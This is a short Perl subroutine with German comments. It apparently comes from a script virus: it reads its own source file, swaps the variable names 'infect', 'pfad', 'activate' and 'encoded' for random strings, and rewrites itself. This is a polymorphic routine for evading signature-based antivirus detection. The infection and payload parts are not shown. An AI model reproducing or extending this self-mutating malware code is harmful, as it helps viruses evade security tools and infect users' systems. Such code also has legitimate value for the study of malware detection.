sub varchange{
	@chase = ("A".."Z","a".."z","0".."9");
	@change = ("infect", "pfad", "activate", "encoded");   # zu wechselnde Variablen
	@var;
	for ($i = 0;$i < scalar(@change); $i++){
		$var[$i] = $chase[int(rand(52))].$chase[int(rand(62))].$chase[int(rand(62))].$chase[int(rand(62))].$chase[int(rand(62))];   # Zufallsstring erstellen
	}
	open(myself, "<", "$0"); # sich selbst einlesen
	@myself = <myself>;
	close(myself);
	open(me, ">", "$0");
	foreach $line (@myself){
		for($i = 0; $i < scalar(@change); $i++){
			while($line =~ /$change[$i]/){
				$line =~ s/$change[$i]/$var[$i]/; # Strings duchr Zufallsstrings ersetzen
			}
		}
		print me $line; # Zeile wieder in Datei schreiben
	}
	close(me);
}